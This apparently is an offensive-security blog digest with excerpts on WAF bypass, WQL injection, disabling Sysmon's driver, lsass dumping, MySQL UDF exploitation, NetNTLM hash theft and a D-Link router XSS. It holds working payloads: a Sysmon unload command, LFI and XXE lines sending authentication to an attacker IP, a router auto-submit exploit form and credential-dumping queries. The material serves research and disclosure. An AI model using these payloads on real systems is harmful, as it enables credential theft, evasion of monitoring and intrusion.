WMI 101 for Pentesters


This is an article I wrote for The Ethical Hacker Network
https://www.ethicalhacker.net/features/root/wmi-101-for-pentesters/

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Bypassing the WebARX Web Application Firewall (WAF)

WebARX is a web application firewall where you can protect your website from malicious attacks. As you can see it was mentioned in TheHackerNews as well and has good ratings if you do some Googling.
https://thehackernews.com/2019/09/webarx-web-application-security.html

It was found out that the WebARX WAF could be easily bypassed by passing a whitelist string. As you see the request won’t be processed by the WAF if it detects a whitelist string.

Let’s first try on their own website. This is a simple LFi payload.


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WQL Injection

Generally in application security, the user input must be sanitized. When it comes to SQL injection the root cause most of the time is because the input not being sanitized properly. I was curious about Windows Management Instrumentation Query Language – WQL which is the SQL for WMI. Can we abuse WQL if the input is not sanitized?

I wrote a simple application in C++ which gets the service information from the Win32_Service class. It will display members such as Name, ProcessId, PathName, Description, etc.

This is the WQL Query.

As you can see I am using the IWbemServices::ExecQuery method to execute the query and enumerte its members using the IEnumWbemClassObject::Next method. (more…)

Unloading the Sysmon Minifilter Driver

The binary fltMC.exe is used to manage minifilter drivers. You can easily load and unload minifilters using this binary. To unload the Sysmon driver you can use:

fltMC unload SysmonDrv

If this binary is flagged, we can unload the minifilter driver by calling the ‘FilterUnload’ which is the Win32 equivalent of ‘FltUnloadFilter’. It will call the minifilter’s ‘FilterUnloadCallback’ (PFLT_FILTER_UNLOAD_CALLBACK) routine. This is as same as using fltMC which is a Non-mandatory unload.
For calling this API SeLoadDriverPrivilege is required. To obtain this privelege adminsitrative permissions are required.

Here’s a simple C code I wrote to call the ‘FilterUnload’ API.
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MiniDumpWriteDump via Faultrep!CreateMinidump

I found out this old undocumented API “CreateMinidumpW” inside the faultrep.dll on Windows XP and Windows Server 2003. This API ends up calling the dbghelp!MiniDumpWriteDump to dump the process by dynamically loading the dbghelp.dll on runtime.

The function takes 3 arguments. I really have no clue what this 3rd argument’s structure is. I passed 0 as the pointer to the structure so by default we end up getting 0x21 as the MINIDUMP_TYPE.


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Shellcode to Dump the Lsass Process

Here’s the shellcode I wrote for curiosity and ended up working nicely 🙂

This shellcode is for Windows 10 and Server 2019 x86_64.

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MySQL UDF Exploitation

Overview

In the real world, while I was pentesting a financial institute I came across a scenario where they had an internal intranet and it was using MySQL 5.7 64-bit as the backend database technology. Most of the time the I encounter MSSQL in most cooperate environments, but this was a rare case. I found SQL injection in the web application and I was able to dump the username and password from the mysql.user and I realized it had privileges to write files to disk. This lead me into writing a post and sharing techniques in injecting a UDF library to MySQL and gaining code execution and popping a shell in Windows. When I Googled most techniques are a bit vague when it comes to Windows. So, I thought of writing this post with my own research to clear things and make you understand few tricks you can use to do this manually.

I will be hosting the latest MySQL 5.7.21 latest community server by the time I am blogging this, in one machine. To reproduce the scenario, I am running the mysqld server with ‘–secure-file-priv=’ parameter set to blank. In this scenario I was able to retrieve the username and password from the mysql.user table using a union based injection in the intranet. Note that in MySQL 5.7 and above the column ‘password’ doesn’t exists. They have changed it to ‘authentication_string’.

# MySQL 5.6 and below
select host, user, password from mysql.user;
# MySQL 5.7 and above
select host, user, authentication_string from mysql.user;

Note that you can use the metasploit’s mysql_hashdump.rb auxiliary module to dump the MySQL hashes if you already have the credentials. By the time I am writing this blog post the script needed to be updated to extract in MySQL 5.7 you can check my pull request here

The host column for the user ‘osanda’ allows connections from 192.168.0.*, which means we can use this user for remote connections from that IP range. I cracked password hash and got the plain text password.
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Places of Interest in Stealing NetNTLM Hashes

One day me and @m3g9tr0n were discussing different places where we can use responder in stealing NetNTLM hashes. After experimenting I thought of writing this post along with some cool findings in the world of Windows. SMBRelay attacks are also possible in these scenarios.

LFI

The include() in PHP will resolve the network path for us.

http://host.tld/?page=//11.22.33.44/@OsandaMalith

XXE

In here I’m using “php://filter/convert.base64-encode/resource=” that will resolve a network path.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=//11.22.33.44/@OsandaMalith" >
]>
<root>
  <name></name>
  <tel></tel>
  <email>OUT&xxe;OUT</email>
  <password></password>
</root>


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D-Link DIR-615 Open Redirection and XSS

D-Link DIR-615
Hardware Version: E3
Firmware Version: 5.10

The ‘apply.cgi’ file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in ‘apply.cgi’. For example the ‘ping_response.cgi’ file.

Open Redirection

apply.cgi

<html>
<!-- @OsandaMalith -->
  <body>
    <form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
      <input type="hidden" name="html_response_page" value="https://google.lk" />
      <input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
    <img src=x onerror="exploit.submit()"/>
    </form>
  </body>
</html>

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My Journey into eCPPT

This course covers lots of areas in the field of penetration testing. I like the content since it covers good theory as well. They have included new sections such as Ruby and Wi-Fi. The content is very up to date. The exam was more realistic and not CTF based. I’m not going to write a complete review, but I would recommend this course for anyone who wants to enter the field of penetration testing or existing people. Always there’s something to new to learn from any course 😉

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